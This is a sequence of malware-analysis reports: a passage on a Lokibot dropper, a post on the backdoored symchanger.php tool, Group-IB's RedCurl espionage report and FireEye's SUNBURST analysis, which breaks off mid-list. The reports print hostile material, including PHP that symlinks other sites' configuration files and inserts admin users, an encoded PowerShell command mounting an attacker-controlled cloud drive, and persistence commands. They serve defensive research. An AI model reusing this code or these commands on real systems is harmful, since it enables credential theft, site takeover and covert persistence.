"ZKkz8PH0". ### Third-Stage Analysis The third stage is also written in Delphi. At the start, it loads a sizable binary resource named `DVCLAL` into memory. It then generates the key `7x21zoom8675309` from hardcoded bytes. The key is then used to decrypt the resource data using a custom encryption algorithm. The malware then recovers the configuration structure from decrypted resource data. The structure fields are delimited by the string `*()%@5YT!@#G__T@#$%^&*()__#@$#57$#!@`. Then, the malware will check if `InjectDLLToNotepadFlag` is set and `reverse_str(FileName) + ".url"` (mheX.url) file doesn't exist in `C:\Users\<username>\AppData\Local\`. If yes, it will inject a malicious DLL into Notepad.exe using the following steps: 1. Launch Notepad.exe in the suspended state. 2. Get the imported DLL name from the malicious DLL's import table and write to the suspended process. 3. Write a 12-byte structure containing addresses of kernel32: LoadLibrary, kernel32.sleep, and DLL string. 4. Write a 210-byte shellcode to Notepad.exe. 5. Execute this shellcode in Notepad.exe using `CreateRemoteThread` and pass the pointer to the 12-byte structure. 6. Write DLL ("kernel32.dll") string again to Notepad.exe. 7. Write a 20-byte structure to Notepad.exe containing pointers to important APIs and two strings: imported DLL name and imported API name. 8. Write 144 bytes of shellcode to Notepad.exe. 9. Execute this shellcode in Notepad.exe using `CreateRemoteThread` and pass the pointer to the 20-byte structure. 10. Repeat Steps 2 - 9 for all of the imported DLLs and imported functions in the malicious DLL's import table. 11. Write the malicious DLL to Notepad.exe. 12. Write an eight-byte structure to Notepad.exe containing the Malicious DLL base address and entry point. 13. Write 122 bytes of shellcode to Notepad.exe. 14. Execute the shellcode in Notepad.exe using `CreateRemoteThread` by passing the pointer to the structure from step 12. ### Injected DLL Analysis (UAC Bypass Using Two Techniques) It checks if `C:\Windows\Finex` exists. If not, it will drop the following file at path `C:\Users\Public\cde.bat`. Then, it drops `C:\Users\Public\x.bat`, `C:\Users\Public\x.vbs`, and `C:\Users\Public\Natso.bat`. Then it executes `Natso.bat`, which is a "fileless" UAC bypass. If `C:\Windows\Finex` still doesn't exist, it will update `Nasto.bat` and execute it using another UAC bypass technique based on `fodhelper.exe`. After that, the DLL deletes the dropped file and exits. ### Decrypting and Executing Lokibot After attempting to bypass the UAC, the third-stage DLL will check if `AutoRunKeyFlag` is set. For this DLL, it is not set. It will then jump to code that decrypts the Lokibot executable using decryption keys from the configuration structure. The first two layers are decrypted using `DecryptionKeyA` and `DecryptionKeyB`, and reverses all the data. After that, the final layer is decrypted using the same decryption method used to decrypt resource data at the start of the third stage. The DLL contains multiple ways to execute a PE file. The execution method is decided based on the values of ExecutionFlag A, B, C. Their values will lead to the following code for the current configuration, which will decrypt the shellcode from the configuration using `DecryptionKeyB`, pass it three parameters: pointer to decrypted Lokibot .exe, a pointer to an array of strings, and a pointer to the current command line. The shellcode will create a suspended process using the third parameter as a command line command and injects Lokibot into it using process hollowing. ## Conclusion Threat actors are getting more sophisticated when it comes to hiding their final payload. This dropper uses three stages and three layers of encryption to hide its final payload. The dropper also injects code into a suspended process to bypass UAC and uses process hollowing to execute its final payload. The majority of malware is getting more and more sophisticated. They are constantly improving their social engineering techniques to trick the user into opening malicious attachments and running malicious code. The malware code and its infection techniques are also improving constantly. The adversaries combine clever techniques to make detection harder. More than ever, it is important to have a multi-layered security architecture in place to detect these kinds of attacks. ## IOC ### Hashes - d5a68a111c359a22965206e7ac7d602d92789dd1aa3f0e0c8d89412fc84e24a5 (First stage XLS file) - 6b53ba14172f0094a00edfef96887aab01e8b1c49bdc6b1f34d7f2e32f88d172 (2nd stage packed downloader) - b36d914ae8e43c6001483dfc206b08dd1b0fbc5299082ea2fba154df35e7d649 (2nd stage unpacked DLL) - 93ec3c23149c3d5245adf5d8a38c85e32cda24e23f8c4df2e19e1423739908b7 (3rd Stage DLL) - 21e23350b05a4b84cdf5c93044d780558e6baf81b2148fdda4583930ab7cb836 (DLL used to bypass UAC) - c9038e31f798119d9e93e7eafbdd3e0f215e24ee2200fcd2a3ba460d549894ab (Lokibot) ### URL hxxp://millsmiltinon[.]com/ojHYhkfkmofwendkfptktnbjgmfkgtdeitobregvdgetyhsk/Xehmigm.exe ### Domains millsmiltinon.com (Hosts 2nd and 3rd Stage) ### IP 104.223.143[.]132 (Lokibot C2)
# Free Symchanger Malware Tricks Users into Installing Backdoor In a previous post, I discussed how attackers can trick website owners into installing malware onto a website — granting the attacker the same unauthorized access as if they had exploited a vulnerability or compromised login details for the website. But did you know attackers use the same tactic against other bad actors? They do this by offering free malware, even going to great lengths to include a guide on how to use it. This may sound like an excellent deal to unsuspecting users, but people downloading these free tools might be unaware that the malware itself is backdoored. ## Mass Compromise Tool: symchanger.php This mass compromise tool, a PHP file named symchanger.php, was found promoted on a Facebook group along with a link to its tutorial video. It’s essentially just PHP code taken from existing malware with some backdoors added by the attacker, who offers it for “free.” ### Obfuscation Techniques When you open the downloaded malicious PHP file, you can immediately tell that the code is obfuscated: ```php <?php /*** PHP Encode v1.0 by zeura[dot]com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiW... ``` The obfuscation uses a few different layers and file code checks during the execution, so it’s not as easy to deobfuscate as text that is just encoded and compressed (e.g., gzinflate(base64_decode())). After deobfuscating the code, we see that the name symchanger.php is fitting for this malware. It uses the popular symlink method to quickly cross-contaminate websites that are hosted under the same user as the compromised website. To accomplish cross-contamination, the tool searches for known configuration file names (in this case WordPress, Joomla, Drupal, and WHMCS). If one is detected, a symlink to a .txt file is generated. The txt file extension is used so that the file can be downloaded — instead of run — as a PHP file. If the malware can access to /etc/passwd (some hosts limit it), then it will read the file contents to get a list of all existing users on the web server. From there, it just performs a foreach loop to go through all of the users and obtain their credentials. ```php "whm/configuration.php", "drupal/sites/default/settings.php", "drupal7/sites/default/settings.php", "sites/default/settings.php" ); foreach ($dir as $users) { $user = explode(":", $users); foreach ($list as $confurl) { symlink("/home/" . $user[0] . "/public_html/" . $confurl, $user[0] . "~" . $confurl . ".txt"); symlink("/home1/" . $user[0] . "/public_html/" . $confurl, $user[0] . "~" . $confurl . ".txt"); symlink("/home2/" . $user[0] . "/public_html/" . $confurl, $user[0] . "~" . $confurl . ".txt"); ``` Once it has established the symlinks to the associated configuration files, the malware reads the SQL connection information and connects to the database, inserting a malicious admin user into any individual databases it can successfully connect to: ```php $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login='Admin',user_pass='c7433bf0630d8def04ad22c9f5308783'"); if ($query2) { $_total_done++; echo "$siteeurl|Admin|Beast3x@8*#4@!<br>"; ``` In the promotional video for this symchanger.php malware, the distributor shows the perspective of the attacker, loading the symchanger.php file on the compromised website. When the script finishes, results are displayed for website login page URLs that had malicious admin users added, clearly displaying the efficacy of the cross-contamination feature. ### Phone Home Emails If an unsuspecting user doesn’t deobfuscate and read the malware’s PHP code, it simply appears that this malware only benefits the user that runs it. What is less apparent, however, is that the PHP script also silently uses the compromised web server to send out five separate emails to multiple email addresses. The contents of these emails contain sensitive data, including the URL to the symchanger.php file that was run, the directory listing, stolen credentials, and more. ``` #exim -bp 0m 2.1K 1jy3is-001yEF-1W <[email protected]> [email protected] 0m 2.1K 1jy3is-001yEI-76 <[email protected]> [email protected] 0m 2.1K 1jy3is-001yEL-Ch <[email protected]> [email protected] 0m 551 1jy3is-001yEO-IH <[email protected]> [email protected] ``` The multiple emails in queue before sending out to the backdoor controllers conveniently provide email recipients with unauthorized access to websites that were compromised with the symchanger.php tool — and significantly reduces the amount of heavy lifting on their end. Instead of hacking a website, all the email recipient needs to do is check their email address and wait for the stolen information to roll in from others using the mass compromise tool. ## Conclusion The lure of free software is often enough for many users to disregard security risks and willingly run code from dubious origins, making this trojan horse-style tactic popular with bad actors. Thankfully, our monitoring tools are able to detect and clean the mass infection malware that symchanger.php is based on, but we suggest reading up on how to prevent cross-site contamination in the first place — and follow website security best practices to mitigate risk.
# The pentest you didn’t know about ## Restrictions 1. The report was written by Group-IB experts without any third-party funding. 2. The report provides information on the tactics, tools, and infrastructure of the previously unknown group RedCurl. The report’s goal is to minimize the risk of the group committing further illegal acts, suppress any such activity in a timely manner, and raise awareness among readers. The report also contains indicators of compromise that organizations and specialists can use to check their networks for compromise, as well as recommendations on how to protect against future attacks. Technical details about threats are provided solely for information security specialists so that they can familiarize themselves with them, prevent similar incidents from occurring in the future, and minimize potential damage. The technical details about threats outlined in the report are not intended to advocate fraud or other illegal activities in the field of high technologies or any other fields. 3. The report is for information purposes only and is limited in distribution. Readers are not authorized to use it for commercial purposes and any other purposes not related to education or personal non-commercial use. Group-IB grants readers the right to use the report worldwide by downloading, reviewing, and quoting it to the extent justified by legitimate citation, provided that the report itself (including a link to the copyright holder’s website on which it is published) is given as the source of the quote. 4. The entire report is subject to copyright and protected by applicable intellectual property law. It is prohibited to copy, distribute (including by placing on websites), or use the information or other content without the right owner’s prior written consent. If Group-IB’s copyright is violated, Group-IB will have the right to approach a court or other state institution to protect its rights and interests and seek punishment for the perpetrator as provided by law, including recovery of damages. ## Introduction One summer evening in 2019, Group-IB’s Computer Emergency Response Team (CERT-GIB) received a call from a new customer who said that their company had been attacked. They asked for help in eliminating the incident’s aftermath and identifying the hacker group responsible. The duty CERT-GIB analyst examined the phishing email used at the initial infection stage. It was particularly well-written, which suggested that this was a planned targeted attack. The unique behavioral fingerprint — obtained as a result of dynamic analysis in TDS Polygon, a Group-IB Threat Detection System module, confirmed the analyst’s hypothesis. The analyst immediately notified Group-IB’s Threat Intelligence team about the incident and within a couple of hours the customer was informed about the targeted attack against their business. Meanwhile, the email sample and the attack details caught the attention of Group-IB’s Threat Intelligence specialists. The campaign conducted by the hacker group (unknown at the time) involved unique tools written in Powershell, which is popular among IT specialists. Moreover, the emails targeted a specific team within the victim organization rather than the organization as a whole. It became obvious that it was not an ordinary cybercriminal group seeking to steal money. Group-IB specialists’ findings confirmed earlier forecasts made in the analytical report “Hi-Tech Crime Trends 2019/2020”: namely that espionage- and sabotage-oriented APT groups had come to play an increasingly prominent role on the hacker scene. One such group was the one in question: RedCurl. In each analyzed campaign, the group’s goal was to conduct espionage. The attackers infected computers in targeted departments within organizations and stole specific documents. One of the group’s possible victims was an employee at a cybersecurity company that protects its customers against such attacks. Detected incidents related to this threat group took place in various industries and had a wide geographical scope: from Russia to North America. As such, it is likely that the attacks were ordered for the purpose of corporate espionage. This hypothesis is reinforced by the fact that the group acted as covertly as possible in order to minimize the risk of being discovered on the victim’s network. For instance, RedCurl did not use actively communicating Trojans or remote administration tools with a graphical interface. It should also be noted that RedCurl uses techniques similar to those used by Red Teaming and penetration testing specialists. This report contains the first ever descriptions of the tactics, tools, and infrastructure of RedCurl, a previously unknown group. In addition, this paper includes the first ever details about the group’s kill chain, which were prepared by specialists at Group-IB’s Digital Forensics Lab, as well as unique data collected during incident response operations related to campaigns attributed to RedCurl. As part of their research, Group-IB’s digital forensics experts verified the hypothesis that the techniques used by RedCurl are similar to those involved in the Redoctober and CloudAtlas campaigns, whose goal is also espionage. An in-depth analysis based on the MITRE ATT&CK® matrix did not reveal unambiguous links between these campaigns, however. Indicators of compromise are given at the end of the report as usual, excluding the ones that can lead to the identification of RedCurl’s victims. YARA and Suricata rules, however, are only available to Group-IB Threat Intelligence customers. Traditionally, the report features recommendations from Group-IB experts on preventive measures to help protect against the group’s attacks. ## Key Findings **Name:** RedCurl (given by Group-IB) **Goal:** Corporate espionage and theft of documents **Active:** 2018 to present. Over more than two years, Group-IB has detected 26 targeted attacks **Geography:** Russia, Ukraine, Canada, Germany, the United Kingdom, Norway **Victims:** Construction companies, financial and consulting companies, retailers, banks, insurance companies, law firms, travel agencies **Language:** The group is presumably Russian-speaking **Tools:** RedCurl created a set of Powershell programs that can cumulatively be called a framework and that includes: - Droppers (including an initial dropper, InitialDropper) - Key module FirstStageAgent (aka FSA) - Two submodules called Channel1 (aka FSA.C1) and Channel2 (aka FSA.C2) The Trojan receives commands from its operator through a cloud in the form of BAT scripts, which are simply subprograms. A total of 29 such command programs were identified. **The group’s technical characteristics:** - Minimal use of binary code. - Use of anti-detection techniques. - Control over an infected computer through commands kept in a legitimate cloud storage. The commands are sent as Powershell scripts. - Special scripts for displaying fake Outlook windows to intercept the logins and passwords of targeted individuals. - The group usually remains in the victim’s network for two to six months. The stage of spreading over the network is stretched over a long time to remain unnoticed for as long as possible. To achieve this, the group does not use any actively communicating Trojans or remote-control tools via RDP. **Target system:** The main targets include office documents and emails. **Exfiltration of data:** RedCurl uses cloud services such as cloudme.com, koofr.net, pcloud.com, idata.uz, drivehq.com, driveonweb.de, opendrive.com, powerfolder.com, docs.live.net, syncwerk.cloud, cloud.woelkli.com, and framagenda.org. To manage and access clouds, the threat actors use the service multcloud.com. ## Geographical scope and targets All RedCurl attacks are targeted, i.e. emails and droppers are tailored to specific victims, which makes it possible to identify targets. Not all the victims have been identified, however. In some cases, only malware modules were discovered (rather than the initial dropper, which can reveal the target). Since 2018, Group-IB has detected 26 attacks against targets in various industries, including: - Construction companies - Retailers - Travel agencies - Insurance companies - Financial companies - Banks - Law and consulting firms The geographical scope of RedCurl attacks includes Europe, the post-Soviet region, and North America. The victims of the 26 attacks detected are located in: - Russia - Ukraine - Canada - Germany - The United Kingdom - Norway Group-IB identified 14 organizations that have become victims of RedCurl’s espionage attacks, some on several occasions. Group-IB specialists contacted each of them and provided recommendations on further steps to eliminate the consequences of the attacks. Names of victims are not disclosed. At the time of writing, some of the companies continue to respond to the incidents. Analysis of the customer’s compromised data revealed a set of data relating to a team lead at a cybersecurity company. The IP addresses that communicated with RedCurl’s cloud belong to the company in question. It is impossible to determine whether this data was compromised or whether this was an instance of controlled analysis of the Trojan by researchers. ## Initial access As is the case with many espionage campaigns, initial access to targeted infrastructures in RedCurl attacks involves spear-phishing emails. RedCurl’s distinctive feature, however, is that the email content is carefully drafted. For instance, the emails displayed the targeted company’s address and logo, while the sender address featured the company’s domain name. The attackers posed as members of the HR team at the targeted organization and sent out emails to multiple employees at once, which made the employees less vigilant, especially considering that many of them worked in the same department. To deliver the payload, RedCurl used archives, links to which were placed in the email body. Despite the fact that the links redirected to public cloud storage services, the way they were disguised tricked users into thinking that they were visiting the company’s official website. The phishing emails were sent using the domain name mailsecure[.]tech, and more specifically subdomains that imitated the target organization’s legitimate domain. The specified domain name had been registered six months before the campaign was launched, on December 6, 2018. On the day of the attack, the A record was changed and Yandex was specified for the MX record. Naturally, the websites belonging to the targeted organizations did not host the archive, which was stored in the cloud, most often Dropbox. In addition to Dropbox, RedCurl’s campaigns also involved free hosting services, especially Byethost and Attractsoft. Attacks carried out in 2020 involved LNK and XLAM files. The latter are add-in files for Excel 2010 and Excel 2007 based on XML with support for macros. As victims interacted with these files, an attacker-controlled cloud storage was set up on the local system as a network drive and launched RedCurl.Dropper, which was hosted there, after which a phishing document was displayed to the victim. In the attacks observed in 2019, victims downloaded an archive with an EXE file, which was an SFX (self-extracting) archive. Launching this file extracted and launched RedCurl.Dropper. The launched file had a PDF or Microsoft Word icon, which meant that if showing file extensions was disabled on the victim’s computer, there was a good chance that the file would not raise any suspicions. In RedCurl’s earlier campaigns carried out in 2018, the utility NirCmd was extracted from the SFX archive. NirCmd was used to launch the module FirstStageAgent_light. In addition to the SFX archive, RedCurl used MHT files, which were HTML pages with resources necessary for displaying the contents correctly. When such a file was opened in the browser, the user was asked to allow interaction between ActiveX and parts of the web page. In the case of an MHT file, RedCurl.FirstStageAgent was launched using Windows Powershell. In addition, the contents of the phishing document or web page were displayed. ## Trojan execution and persistence in the system The vast majority of tools used in RedCurl campaigns are Windows Powershell scripts. For instance, a Powershell script was used to launch RedCurl.Dropper and set up cloud storage as a network drive. Below is one such example: ```powershell powershell.exe -enc “JgAgACIAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgAgAEAAKAAiAHMAZABtADUALgBkAGwAbAAsAG8AQgBTAGkAUQBTAFUASQBTAHIAUwB5AE4AYQBJAGEAagBQAHAaQBWAFUAUQBCAE0AZwBBACIAKQA7ACAAbgBlAHQAIAB1AHMAZQAgAGgAdAB0AHAAcwA6AC8ALwBhAHAAcAAuAGsAbwBvAGYAcgAuAG4AZQB0AC8AZABhAHYAIABuADYAegByAHMAcwA5AGQAbwBxAG8AagA2AGkAdQAxACAALwB1AHMAZQByADoAZgBvAHkAdQBiAEAAdABoAGUAdABlAG0AcABtAGEAaQBsAC4AYwBvAG0AOwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAYQBwAHAALgBrAG8AbwBmAHIALgBuAGUAdABAAFMAUwBMAFwAZABhAHYAIAAvAEQARQBMAEUAVABFADsA” “rundll32.exe” @(“sdm5.dll,oBSiQSUISrSyNaIajPpiVUQBMgA”); net use https://app.koofr.net/dav PASSWORD /user:[email protected]; net use \\app.koofr.net@SSL\dav /DELETE; ``` The above script is saved in a batch file and launched after the phishing SFX archive is opened using a VBScript script. Module persistence is sometimes established during the SFX archive opening stage. In such cases, a shortcut with a module launch command is created in the startup directory. RedCurl.Dropper, which is a library, is launched using rundll32.exe. RedCurl.FsA and the additional modules RedCurl.FsA.C1 and RedCurl.FsA.C2, on the other hand, are extracted from a CAB archive. In earlier attacks that took place in 2018, the additional modules Channel1 and Channel2 were downloaded from the cloud. In the most recent attacks, the modules were located in the same CAB archive as FirstStageAgent, while RedCurl.Dropper itself was launched from a network drive set up during the initial access stage. These tools helped the attackers download additional Powershell scripts (as well as other tools necessary for achieving specific goals) from cloud storage spaces and execute them. A detailed description of the main and additional modules can be found in the “Tools” section. Persistence for both the main and additional modules was established by creating scheduled tasks: ```cmd /c schtasks /Create /TN “LicenseAcquisitionService\EnableLicenseAcquisitionTask” /SC hourly /ST 02:26 /tr “wscript.exe /B \”C:\Users\admin\AppData\Roaming\Microsoft\EnableLicenseAcquisitionS\EnableLicenseAcquisitionF.vbs\”” /F ``` In earlier attacks, persistence was ensured also through the Run keys in the Registry: ```powershell New-ItemProperty -Path Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run -Name MicrosoftCurrentUpdatesCheck -Value “””$Channel1Dir\check.exe”” loop 65000 3600000 execmd “”cd “”$Channel1Dir”” && call check.bat””” -Force | Out-Null ``` The names of both scheduled tasks and Registry keys were designed in such a way so as to make it extremely difficult to distinguish them from legitimate operating system components and applications: MicrosoftCurrentupdatesCheck, MdMMaintenenceTask, WindowsActiondialog, etc. ## Reconnaissance and lateral movement Analysis of RedCurl campaigns revealed that the group remains in the victim’s network for two to six months on average. The stage of spreading over the network is significantly extended in time as the group strives to remain unnoticed for as long as possible and does not use any active Trojans that could disclose its presence. By using Windows Powershell scripts and legitimate cloud services, RedCurl reduced detections of the tools they used to the minimum. As part of incident response operations, Group-IB specialists observed antivirus software being triggered by RedCurl.Dropper, but this occurred only after the malware had been in the system for several months. The attackers also used Windows Powershell scripts to collect information about the compromised system as well as about local and network drives. The same scripts were also used to collect information about email accounts that could later be used for a new round of phishing campaigns. As part of its campaigns, RedCurl used ADExplorer from the Sysinternals suite to collect information about Active Directory. Although this tool is intended for working with a graphical interface, the snapshot option makes it possible to launch it from the command line and save a copy of the Active Directory database to a file. Unlike many other espionage groups, RedCurl does not seek to gain access to systems using the Remote Desktop Protocol or similar. Instead, the group sticks to tools with a command line interface using SSH for interactive access, for example. In RedCurl campaigns, movement across the network was ensured using modified LNK files (shortcuts), which were placed in network drives. By using a Windows Powershell script, the attackers created LNK shortcuts for *.jpg, *.pdf, *.doc, *.docx, *.xls, and *.xlsx files hosted on network drives and turned on the “hidden” attribute for the original files. By merely opening a target file, the unsuspecting victim would launch RedCurl.Dropper together with it. RedCurl.Dropper was also copied to the directory where the files were located on the network drive. Although this propagation method is “low and slow,” it helps threat actors successfully bypass certain security systems. On account of this particular characteristic of LNK files, specialists at Group-IB’s Digital Forensics Lab were able to determine that these files had been opened by analyzing userAssist, a source of artifacts traditionally used to search for traces of executable file launches and that normally does not contain such traces. In addition to Windows Powershell scripts, RedCurl’s arsenal includes other tools. To harvest credentials, for instance, the attackers use an increasingly popular tool called LaZagne, which helps extract passwords not only from memory but also from files, such as those saved in the victim’s browser. PyArmor was used by RedCurl to reduce the likelihood of RedCurl.Dropper being detected and obfuscate its code. Moreover, a Powershell script that displayed a phishing pop-up Microsoft Outlook window to the victim was used to collect authentication data. Credentials entered by the user were saved to a text file and then checked for validity. This way, if a targeted organization did not have multi-factor authentication in place, the attackers could gain access to compromised users’ email accounts even if the required data was not obtained through LaZagne. ## Data exfiltration RedCurl focuses on compromising email. The attackers had a Windows PowerShell script in their arsenal to exfiltrate and copy emails. Apart from scripts, in some cases the hackers also used other tools to upload files to cloud services. In particular, they used the megatools set of utilities to upload data to Mega, a file storage service. The hackers searched both local drives and corporate network storages for documents of interest. Among the stolen files were: - Employee personnel files - Construction documentation - Legal action documents - Internal documents ## Tools The entire set of the group’s custom tools is written in Powershell. When these tools are in operation, third-party programs are additionally downloaded, including ones written in Python. RedCurl’s custom tools include: - RedCurl.InitialDropper - RedCurl.Dropper - RedCurl.FsA aka FirstStageAgent - RedCurl.FsA.C1 + RedCurl.FsA.C2 - RedCurl.Commands ### InitialDropper The initial dropper RedCurl.InitialDropper is a regular SFX RAR or 7z archive with a PDF icon. This has not always been the case, however. Analysis of historical data revealed: - VBS_Dropper, a VBS script - XLAM_Dropper, an MS Office add-in file - LNK_Dropper, an MS Windows shortcut Launching it will unpack a decoy document, a malicious DLL library called RedCurl.Dropper, a VBS script, and a BAT command shell script. The user will be shown the decoy document while the system utility wscript.exe executes the extracted VBS script, which launches the cmd.exe command line interpreter and the extracted BAT script. This will result in the launch of a Powershell script that will set up a cloud storage as a network drive using the system utility net.exe. ### Dropper When Dropper is launched, tasks are created, which ensures the persistence of the key module RedCurl.FsA and the two “channels,” RedCurl.FsA.C1 and RedCurl.FsA.C2. The program then extracts and saves a CAB archive to the disk, creates a new directory, and unpacks the contents of the CAB archive into that directory. ### FirstStageAgent aka FSA FirstStageAgent is designed to perform the following functions: 1. Extract the modules RedCurl.Channel1 and RedCurl.Channel2. 2. Upload information about the infected machine. 3. Download and execute a new command (module). The FSA key module connects to the cloud service to upload data and obtain commands. The commands are sent as BAT scripts, the body of which usually contains a Powershell script or an encoded executable file and launch instructions. ### Channel1 aka RedCurl.C1 and Channel2 aka RedCurl.C2 The modules Channel1 and Channel2 have the same functions. Their main goal is to upload information about the infected device, then download and execute a new module with commands. The encryption method and the algorithm for receiving and sending data are the same as for FirstStageAgent. Each module uses different accounts to access the cloud storage. The main difference between the modules is the way they communicate with the cloud storage. Channel1 and FirstStageAgent use the “curl.exe” utility to interact with the cloud, while Channel2 mounts a network drive into the system. Mounting is carried out using the “net.exe” utility. All subsequent operations with files located in the cloud are performed using console commands. ## Attribution RedCurl’s focus on espionage and the use of public cloud services may indicate that its campaigns are a continuation of the Redoctober and CloudAtlas campaigns described by Kaspersky Lab in the past. These cyberespionage attacks targeted industrial, governmental, and commercial organizations in Russia, Central Asia, and Ukraine. They were carried out between 2010 and 2019. At the time of writing, there is no information about attacks involving CloudAtlas tools in 2020. RedCurl, discovered by Group-IB experts, carried out attacks at different intervals between 2018 and 2020 inclusive. The earliest attack dates back to May 2018. Its victims included companies based in the UK, Canada, Norway, Germany, Russia, and Ukraine. All the companies were private and commercial. As such, based on the geographical scope of attacks, it is impossible to confirm any links with the campaigns described by Kaspersky Lab. Analysis of RedCurl revealed that one of the SFX archives was created using the WinRAR utility set to Russian. This fact is confirmed by the strings in the section with resources.
# Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor **UPDATE (May 2022):** We have merged UNC2452 with APT29. The UNC2452 activity described in this post is now attributed to APT29. ## Executive Summary We have discovered a global intrusion campaign. We are tracking the actors behind this campaign as UNC2452. FireEye discovered a supply chain attack trojanizing SolarWinds Orion business software updates in order to distribute malware we call SUNBURST. The attacker’s post-compromise activity leverages multiple techniques to evade detection and obscure their activity, but these efforts also offer some opportunities for detection. The campaign is widespread, affecting public and private organizations around the world. FireEye is releasing signatures to detect this threat actor and supply chain attack in the wild. These are found on our public GitHub page. FireEye products and services can help customers detect and block this attack. ## Summary FireEye has uncovered a widespread campaign, that we are tracking as UNC2452. The actors behind this campaign gained access to numerous public and private organizations around the world. They gained access to victims via trojanized updates to SolarWind’s Orion IT monitoring and management software. This campaign may have begun as early as Spring 2020 and is currently ongoing. Post-compromise activity following this supply chain compromise has included lateral movement and data theft. The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security. ## SUNBURST Backdoor `SolarWinds.Orion.Core.BusinessLayer.dll` is a SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third-party servers. We are tracking the trojanized version of this SolarWinds Orion plug-in as SUNBURST. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The malware masquerades its network traffic as the Orion Improvement Program (OIP) protocol and stores reconnaissance results within legitimate plugin configuration files allowing it to blend in with legitimate SolarWinds activity. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanized updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website, including: `hxxps://downloads.solarwinds[.]com/solarwinds/CatalogResources/Core/2019.4/2019.4.5220.20574/SolarWinds-Core-v2019.4.5220-Hotfix5.msp` The trojanized update file is a standard Windows Installer Patch file that includes compressed resources associated with the update, including the trojanized `SolarWinds.Orion.Core.BusinessLayer.dll` component. Once the update is installed, the malicious DLL will be loaded by the legitimate `SolarWinds.BusinessLayerHost.exe` or `SolarWinds.BusinessLayerHostx64.exe` (depending on system configuration). After a dormant period of up to two weeks, the malware will attempt to resolve a subdomain of `avsvmcloud[.]com`. The DNS response will return a CNAME record that points to a Command and Control (C2) domain. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications. The list of known malicious infrastructure is available on FireEye’s GitHub page. ## Worldwide Victims Across Multiple Verticals FireEye has detected this activity at multiple entities worldwide. The victims have included government, consulting, technology, telecom, and extractive entities in North America, Europe, Asia, and the Middle East. We anticipate there are additional victims in other countries and verticals. FireEye has notified all entities we are aware of being affected. ## Post Compromise Activity and Detection Opportunities We are currently tracking the software supply chain compromise and related post-intrusion activity as UNC2452. After gaining initial access, this group uses a variety of techniques to disguise their operations while they move laterally. This actor prefers to maintain a light malware footprint, instead preferring legitimate credentials and remote access for access into a victim’s environment. ### TEARDROP and BEACON Malware Used Multiple SUNBURST samples have been recovered, delivering different payloads. In at least one instance, the attackers deployed a previously unseen memory-only dropper we’ve dubbed TEARDROP to deploy Cobalt Strike BEACON. TEARDROP is a memory-only dropper that runs as a service, spawns a thread, and reads from the file `gracious_truth.jpg`, which likely has a fake JPG header. Next, it checks that `HKU\SOFTWARE\Microsoft\CTF` exists, decodes an embedded payload using a custom rolling XOR algorithm, and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON. **Mitigation:** FireEye has provided two Yara rules to detect TEARDROP available on our GitHub. Defenders should look for the following alerts from FireEye HX: MalwareGuard and WindowsDefender. ### Attacker Hostnames Match Victim Environment The actor sets the hostnames on their command and control infrastructure to match a legitimate hostname found within the victim’s environment. This allows the adversary to blend into the environment, avoid suspicion, and evade detection. **Detection Opportunity:** The attacker infrastructure leaks its configured hostname in RDP SSL certificates, which is identifiable in internet-wide scan data. This presents a detection opportunity for defenders -- querying internet-wide scan data sources for an organization’s hostnames can uncover malicious IP addresses that may be masquerading as the organization. ### IP Addresses Located in Victim’s Country The attacker’s choice of IP addresses was also optimized to evade detection. The attacker primarily used only IP addresses originating from the same country as the victim, leveraging Virtual Private Servers. **Detection Opportunity:** This also presents some detection opportunities, as geolocating IP addresses used for remote access may show an impossible rate of travel if a compromised account is being used by the legitimate user and the attacker from disparate IP addresses. The attacker used multiple IP addresses per VPS provider, so once a malicious login from an unusual ASN is identified, looking at all logins from that ASN can help detect additional malicious activity. ### Lateral Movement Using Different Credentials Once the attacker gained access to the network with compromised credentials, they moved laterally using multiple different credentials. The credentials used for lateral movement were always different from those used for remote access. **Detection Opportunity:** Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts. This will uncover any single system authenticating to multiple systems with multiple accounts, a relatively uncommon occurrence during normal business operations. ### Temporary File Replacement and Temporary Task Modification The attacker used a temporary file replacement technique to remotely execute utilities: they replaced a legitimate utility with theirs, executed their payload, and then restored the legitimate original file. They similarly manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returning the scheduled task to its original configuration. They routinely removed their tools, including removing backdoors once legitimate remote access was achieved. **Detection Opportunity:** Defenders can examine logs for SMB sessions that show access to legitimate directories and follow a delete-create-execute-delete-create pattern in a short amount of time. Additionally, defenders can monitor existing scheduled tasks for temporary updates, using frequency analysis to identify anomalous modification of tasks. This campaign’s post-compromise activity was conducted with a high regard for operational security, in many cases leveraging dedicated infrastructure per intrusion. This is some of the best operational security that FireEye has observed in a cyber attack, focusing on evasion and leveraging inherent trust. However, it can be detected through persistent defense. ## In-Depth Malware Analysis `SolarWinds.Orion.Core.BusinessLayer.dll` (b91ce2fa41029f6955bff20079468448) is a SolarWinds-signed plugin component of the Orion software framework that contains an obfuscated backdoor which communicates via HTTP to third-party servers. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer and execute files, profile the system, and disable system services. The backdoor’s behavior and network protocol blend in with legitimate SolarWinds activity, such as by masquerading as the Orion Improvement Program (OIP) protocol and storing reconnaissance results within plugin configuration files. The backdoor uses multiple blocklists to identify forensic and anti-virus tools via processes, services, and drivers. ### Unique Capabilities - Subdomain Domain Name Generation Algorithm (DGA) is performed to vary DNS requests. - CNAME responses point to the C2 domain for the malware to connect to. - The IP block of A record responses controls malware behavior. - 